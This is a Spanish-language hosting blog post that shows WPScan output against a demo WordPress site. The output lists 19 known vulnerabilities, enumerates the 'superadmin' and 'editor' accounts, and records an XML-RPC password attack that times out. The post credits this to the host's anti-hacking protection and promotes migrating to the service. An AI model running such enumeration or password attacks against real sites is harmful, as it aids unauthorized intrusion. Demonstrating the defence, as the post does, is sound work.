\ \        / /  __ \ / ____|
\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
\ \/  \/ / |  ___/ \___ \ / __|/ _` | ‘_ \
\  /\  /  | |     ____) | (__| (_| | | | |
\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Version 3.4.5
Sponsored by Sucuri – https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://pruebadeconcepto.com/
[+] Started: Mon Mar 18 10:33:31 2019

Interesting Finding(s):

[+] http://pruebadeconcepto.com/
| Interesting Entries:
| – Server: Apache
| – Upgrade: h2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| – http://codex.wordpress.org/XML-RPC_Pingback_API
| – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| – https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| – https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://pruebadeconcepto.com/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] http://pruebadeconcepto.com/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| – https://www.iplocation.net/defend-wordpress-from-ddos
| – https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.6.8 identified (Insecure, released on 2017-10-31).
| Detected By: Rss Generator (Passive Detection)
| – http://pruebadeconcepto.com/?feed=rss2, https://wordpress.org/?v=4.6.8
| – http://pruebadeconcepto.com/?feed=comments-rss2, https://wordpress.org/?v=4.6.8
|
| [!] 19 vulnerabilities identified:
|
| [!] Title: WordPress 2.8.6-4.9 – Authenticated JavaScript File Upload
| Fixed in: 4.6.9
| References:
| – https://wpvulndb.com/vulnerabilities/8966
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
| – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
|
| [!] Title: WordPress 1.5.0-4.9 – RSS and Atom Feed Escaping
| Fixed in: 4.6.9
| References:
| – https://wpvulndb.com/vulnerabilities/8967
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
| – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
|
| [!] Title: WordPress 4.3.0-4.9 – HTML Language Attribute Escaping
| Fixed in: 4.6.9
| References:
| – https://wpvulndb.com/vulnerabilities/8968
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
| – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
|
| [!] Title: WordPress 3.7-4.9 – ‘newbloguser’ Key Weak Hashing
| Fixed in: 4.6.9
| References:
| – https://wpvulndb.com/vulnerabilities/8969
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
| – https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
|
| [!] Title: WordPress 3.7-4.9.1 – MediaElement Cross-Site Scripting (XSS)
| Fixed in: 4.6.10
| References:
| – https://wpvulndb.com/vulnerabilities/9006
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
| – https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
| – https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
| – https://core.trac.wordpress.org/ticket/42720
|
| [!] Title: WordPress <= 4.9.4 – Application Denial of Service (DoS) (unpatched)
| References:
| – https://wpvulndb.com/vulnerabilities/9021
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389
| – https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
| – https://github.com/quitten/doser.py
| – https://thehackernews.com/2018/02/wordpress-dos-exploit.html
|
| [!] Title: WordPress 3.7-4.9.4 – Remove localhost Default
| Fixed in: 4.6.11
| References:
| – https://wpvulndb.com/vulnerabilities/9053
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10101
| – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/804363859602d4050d9a38a21f5a65d9aec18216
|
| [!] Title: WordPress 3.7-4.9.4 – Use Safe Redirect for Login
| Fixed in: 4.6.11
| References:
| – https://wpvulndb.com/vulnerabilities/9054
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10100
| – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/14bc2c0a6fde0da04b47130707e01df850eedc7e
|
| [!] Title: WordPress 3.7-4.9.4 – Escape Version in Generator Tag
| Fixed in: 4.6.11
| References:
| – https://wpvulndb.com/vulnerabilities/9055
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10102
| – https://wordpress.org/news/2018/04/wordpress-4-9-5-security-and-maintenance-release/
| – https://github.com/WordPress/WordPress/commit/31a4369366d6b8ce30045d4c838de2412c77850d
|
| [!] Title: WordPress <= 4.9.6 – Authenticated Arbitrary File Deletion
| Fixed in: 4.6.12
| References:
| – https://wpvulndb.com/vulnerabilities/9100
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12895
| – https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
| – http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/
| – https://github.com/WordPress/WordPress/commit/c9dce0606b0d7e6f494d4abe7b193ac046a322cd
| – https://wordpress.org/news/2018/07/wordpress-4-9-7-security-and-maintenance-release/
| – https://www.wordfence.com/blog/2018/07/details-of-an-additional-file-deletion-vulnerability-patched-in-wordpress-4-9-7/
|
| [!] Title: WordPress <= 5.0 – Authenticated File Delete
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9169
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Post Type Bypass
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9170
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| – https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 – PHP Object Injection via Meta Data
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9171
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Authenticated Cross-Site Scripting (XSS)
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9172
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9173
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| – https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 – User Activation Screen Search Engine Indexing
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9174
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 – File Upload to XSS on Apache Web Servers
| Fixed in: 4.6.13
| References:
| – https://wpvulndb.com/vulnerabilities/9175
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| – https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| – https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
|
| [!] Title: WordPress 3.7-5.0 (except 4.9.9) – Authenticated Code Execution
| Fixed in: 5.0.1
| References:
| – https://wpvulndb.com/vulnerabilities/9222
| – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
| – https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
|
| [!] Title: WordPress 3.9-5.1 – Comment Cross-Site Scripting (XSS)
| Fixed in: 4.6.14
| References:
| – https://wpvulndb.com/vulnerabilities/9230
| – https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
| – https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
| – https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[+] WordPress theme in use: twentysixteen
| Location: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/
| Last Updated: 2019-02-21T00:00:00.000Z
| Readme: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/readme.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8
| Style Name: Twenty Sixteen
| Style URI: https://wordpress.org/themes/twentysixteen/
| Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead …
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Detected By: Style (Passive Detection)
| – http://pruebadeconcepto.com/wp-content/themes/twentysixteen/style.css?ver=4.6.8, Match: ‘Version: 1.3’

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups – Time: 00:00:00 <==========================================================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs – Time: 00:00:00 <=========================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] superadmin
| Detected By: Author Posts – Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] editor
| Detected By: Author Id Brute Forcing – Author Pattern (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 2 user/s
Error: Request timed out.
Error: Request timed out.
Error: Request timed out.
Error: Request timed out.
Error: Request timed out.
Error: Request timed out.

Analizando el resultado que se muestra en pantalla, verás que no puedes acceder al WordPress que deseas atacar, continuamente se muestra el mensaje “Error: Request timed out.”, eso es debido a que la seguridad Anti Hacking está detectando la amenaza y bloqueándola en tiempo real.

Así evitamos que atacantes maliciosos usando herramientas estándares y no muy difíciles de encontrar en Internet no puedan atacar, tomar el control, ni robarte datos de tu WordPress.

Puedes obtener más información sobre cómo funciona la seguridad Anti hacking en nuestros Hosting en:
https://www.swhosting.com/blog/seguridad-antihacking-hosting/

No olvides transferir tu WordPress a SW Hosting pulsando aquí. Recuerda que disponemos de auto instaladores de WordPress en 1 solo click en el momento que realizas la activación de tu Hosting, muy fácil y rápido.

Puedes consultar cómo migrar tu WordPress a SW Hosting en el siguiente manual:
Como migrar mi WordPress a SW Hosting

Puedes transferir tu hosting hacia SW Hosting usando el siguiente link;
Transferir mi hosting a SW Hosting
Si deseas más información o tienes dudas contacta con nosotros a través del formulario que encontrarás en Formulario de Contacto